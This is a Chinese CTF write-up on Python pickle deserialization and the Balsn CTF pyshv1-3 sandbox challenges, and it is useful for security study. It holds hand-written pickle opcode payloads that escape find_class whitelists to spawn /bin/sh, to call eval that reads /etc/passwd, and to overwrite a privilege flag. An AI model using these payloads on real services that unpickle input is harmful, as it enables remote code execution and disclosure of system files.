从Balsn CTF pyshv学习python反序列化

源码以及wp:https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc

python反序列化

和其他语言的序列化一样,Python 的序列化的目的也是为了保存、传递和恢复对象的方便性,在众多传递对象的方式中,序列化和反序列化可以说是最简单和最容易实现的方式。

序列化:

pickle.dump(文件) 
pickle.dumps(字符串)

反序列化:

pickle.load(文件)
pickle.loads(字符串)


image.png
可以看到Person的属性以及一些杂乱的字符串,这些字符串是 PVM 虚拟机可以识别的有特殊含义的符号。PVM 由三个部分组成,引擎(或者叫指令分析器),栈区、还有一个 Memo,分别用来处理、储存以及标记数据。
(p牛博客摘抄)
pickle实际上是一门栈语言,他有不同的几种编写方式,通常我们人工编写的话,是使用protocol=0的方式来写。而读取的时候python会自动识别传入的数据使用哪种方式。
和传统语言中有变量、函数等内容不同,pickle这种堆栈语言,并没有“变量名”这个概念,所以可能有点难以理解。pickle的内容存储在如下两个位置中:

  • stack 栈
  • memo 一个列表,可以存储信息

PVM操作码(具体其他操作码可以去看pickle源码)

  • c:引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了)
  • (:压入一个标志到栈中,表示元组的开始位置
  • 0:弹出栈项的元素并丢弃
  • t:从栈顶开始,找到最上面的一个(,并将(到t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
  • R:从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
  • p:将栈顶的元素存储到memo(标签区)中,p后面跟一个数字,就是表示这个元素在memo中的索引
  • g:把memo的第n个位置的元素复制到栈顶
  • V、S:向栈顶压入一个(unicode)字符串
  • s:从栈顶弹出三个元素,一个字典,一个键名字,一个键值,把键名:键值添加进字典,然后把字典压入栈顶
  • .:表示整个程序结束

反序列化流程

序列化是一个将对象转化成字符串的过程,而反序列化就是将字符串转换为对象的过程。https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf
例如对于字符串

c__builtin__
file
(S'/etc/passwd'
tR.

首先c操作码代表引入模块和对象__builtin__.file
image.png
然后(操作码代表压入一个标志到栈中,表示元组的开始位置
image.png
接着S操作码代表向栈顶插入一个字符串,这里为'/etc/passwd'。
image.png
t操作码代表从栈顶开始,找到最上面的MARK也就是(,并将(t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中。
image.png
最后R操作码代表从栈顶弹出两个元素,一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上。这里执行的是__builtin__.file('/etc/passwd')
image.png
最后还要有一个.代表整个程序结束。

image.png

反序列化漏洞

当序列化以及反序列化的过程中中碰到一无所知的扩展类型(这里指的就是新式类)的时候,可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化
image.png
因此,我们可以通过自定义__reduce__方法来让这个类根据我们在__reduce__ 中指定的方式进行序列化。该方法可以返回一个字符串或者一个元祖,当返回元祖时,需提供2到5个参数,而我们常用的是前两个参数,即一个可调用对象和一个为元组类型的可调用对象参数,类似于上面的操作码R
比如我们可以
image.png

需要知道的是__reduce__只是用来方便帮助我们生成反序列化payload的,他通常只能执行一个函数,而在反序列化沙盒绕过时大多需要执行多种操作,这时候我们就需要手写PVM操作码。当然也可以像LCBC大佬一样写了一个自动生成PVM操作码的脚本https://ctftime.org/writeup/16723

安全的反序列化方式

官方推荐我们重写Unpickler.find_class()来给反序列化时调用的modulename设置黑白名单。
image.png

pyshv1

securePickle.py

import pickle
import io
import sys

whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        return pickle.Unpickler.find_class(self, module, name)


def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps

server.py

#!/usr/bin/python3 -u

import securePickle as pickle
import codecs
import sys

pickle.whitelist.append('sys')


class Pysh(object):
    def __init__(self):
        self.login()
        self.cmds = {}

    def login(self):
        user = input().encode('ascii')
        user = codecs.decode(user, 'base64')
        user = pickle.loads(user)
        raise NotImplementedError("Not Implemented QAQ")

    def run(self):
        while True:
            req = input('$ ')
            func = self.cmds.get(req, None)
            if func is None:
                print('pysh: ' + req + ': command not found')
            else:
                func()


if __name__ == '__main__':
    pysh = Pysh()
    pysh.run()

可以看到题目用RestrictedUnpickler做为反序列化的过程类,find_class中限制了反序列化的对象必须是sys模块中的对象。也就是我们要保证我们使用c导入的模块只能是sys
并且pickle.Unpickler.find_class获取模块属性也依赖于sys.modules
image.png
也就是最终我们调用的始终是getattr(sys.modules['sys'],name),因此我们通过只导入sys模块把sys.modules['sys']改为我们想要执行的方法即可。

sys.modules 是一个字典,它包含了从 Python 开始运行起,被导入的所有模块。键字就是模块名,键值就是模块对象。因此我们可以从中获取想要的模块对象赋值给sys.modules['sys']
例如

import sys

modules = sys.modules              # save sys.modules for later
sys.modules['sys'] = sys.modules   # remap sys to sys.modules
import sys
modules['sys'] = sys.get('os')     # access os throug the remapped sys, and store it in sys.modules['sys']
import sys
sys.system('echo "it works!"')     # boom!

我们还需要手动将其转化为PVM操作码。

csys
modules
p1
0g1
S'sys'
g1
scsys
get
(S'os'
tRp2
0S'sys'
g2
scsys
system
(S'/bin/sh'
tR.

可以看到只调用了sys就将sys.modules['sys']改为了os模块
image.png

pyshv2

securePickle.py

import pickle
import io


whitelist = []


# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        module = __import__(module)
        return getattr(module, name)


def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps

server.py

#!/usr/bin/python3 -u

import securePickle as pickle
import codecs
import sys

pickle.whitelist.append('structs')


class Pysh(object):
    def __init__(self):
        self.login()
        self.cmds = {
            'help': self.cmd_help,
            'flag': self.cmd_flag,
        }

    def login(self):
        user = input().encode('ascii')
        user = codecs.decode(user, 'base64')
        user = pickle.loads(user)
        raise NotImplementedError("Not Implemented QAQ")

    def run(self):
        while True:
            req = input('$ ')
            func = self.cmds.get(req, None)
            if func is None:
                print('pysh: ' + req + ': command not found')
            else:
                func()

    def cmd_help(self):
        print('Available commands: ' + ' '.join(self.cmds.keys()))

    def cmd_su(self):
        print("Not Implemented QAQ")
        # self.user.privileged = 1

    def cmd_flag(self):
        print("Not Implemented QAQ")


if __name__ == '__main__':
    pysh = Pysh()
    pysh.run()

structs.py是空文件。

与v1不同的地方在于可导入模块改为了structs,然后还调用了__import__
__builtins__是所有模块共用的一个字典,而__import__是他的内置函数。我们可以通过修改structs.__builtins__来重写__import__
我们可以将__import__改为structs.__getattribute__,然后把structs.structs改为__builtins__,然后调用import('structs')返回的是__builtins__,从而调用其eval等内置函数。

from structs import __dict__
from structs import __builtins__
from structs import __getattribute__
__builtins__['__import__'] = __getattribute__
__dict__['structs'] = __builtins__
__import__('structs')['eval']('print("123")')

同样的需要将其改为PVM操作码,这里要注意__builtins__是一个字典,从里面取eval要用dict.get函数。

cstructs
__dict__
p1
0cstructs
__builtins__
p2
0cstructs
__getattribute__
p3
0g2
S'__import__'
g3
sg1
S'structs'
g2
scstructs
get
p4
(S'eval'
tR(S'print(open("/etc/passwd").read())'
tR.

image.png

pyshv3

securePickle.py

import pickle
import io


whitelist = []


# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        return pickle.Unpickler.find_class(self, module, name)


def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps

server.py

#!/usr/bin/python3 -u

import securePickle as pickle
import codecs
import os


pickle.whitelist.append('structs')


class Pysh(object):
    def __init__(self):
        self.key = os.urandom(100)
        self.login()
        self.cmds = {
            'help': self.cmd_help,
            'whoami': self.cmd_whoami,
            'su': self.cmd_su,
            'flag': self.cmd_flag,
        }

    def login(self):
        with open('../flag.txt', 'rb') as f:
            flag = f.read()
        flag = bytes(a ^ b for a, b in zip(self.key, flag))
        user = input().encode('ascii')
        user = codecs.decode(user, 'base64')
        user = pickle.loads(user)
        print('Login as ' + user.name + ' - ' + user.group)
        user.privileged = False
        user.flag = flag
        self.user = user

    def run(self):
        while True:
            req = input('$ ')
            func = self.cmds.get(req, None)
            if func is None:
                print('pysh: ' + req + ': command not found')
            else:
                func()

    def cmd_help(self):
        print('Available commands: ' + ' '.join(self.cmds.keys()))

    def cmd_whoami(self):
        print(self.user.name, self.user.group)

    def cmd_su(self):
        print("Not Implemented QAQ")
        # self.user.privileged = 1

    def cmd_flag(self):
        if not self.user.privileged:
            print('flag: Permission denied')
        else:
            print(bytes(a ^ b for a, b in zip(self.user.flag, self.key)))


if __name__ == '__main__':
    pysh = Pysh()
    pysh.run()

structs.py

class User(object):
    def __init__(self, name, group):
        self.name = name
        self.group = group
        self.isadmin = 0
        self.prompt = ''

struscts.py多了个User类,find_class与v1类似,不过可导入模块为structs。server.py中可以看到反序列化对象privileged属性为true就会输出flag,但是反序列化对象的privileged属性在反序列化之后被设置成了False。
payload 类似于
image.png
描述器定义
image.png
例子

class RevealAccess(object):
            """A data descriptor that sets and returns values
               normally and prints a message logging their access.
            """

            def __init__(self, initval=None, name='var'):
                self.val = initval
                self.name = name

            def __get__(self, obj, objtype):
                print 'Retrieving', self.name
                return self.val

            def __set__(self, obj, val):
                print 'Updating', self.name
                self.val = val

>>> class MyClass(object):
...     x = RevealAccess(10, 'var "x"')
...     y = 5
...
>>> m = MyClass()
>>> m.x
Retrieving var "x"
>>> m.x = 20
Updating var "x"
>>> m.x
Retrieving var "x"
>>> m.y

payload中我们重载了User类的__set__方法,并将User实例赋值机给了User类的privileged属性,然后当对a.privileged赋值时,就会触发其__set__方法,因为set被赋值为了User,所以并不会对a.privileged进行正常赋值,从而a.privileged还为原来的User()实例。
另外要注意只有查找到的值是一个描述器时才会调用描述器方法,比如这里的a.privileged为描述器,而a.ppp为一个正常的属性并不是一个描述器,因此其可以正常赋值。

然后就是手写opcode了

cstructs
User
p0
(N}S"__set__"
g0
stbg0 #structs.User (None,{"__set__":structs.User})
(S"guess"
S"guess"
tRp1  #User('guess','guess')
g0
(N}S"privileged"
g1
stbg1 #structs.User (None,{"privileged":User('guess','guess')})
.

源码里的flag.txt我改为了/etc/passwd
image.png

后记

很nice的三道题,学到了很多。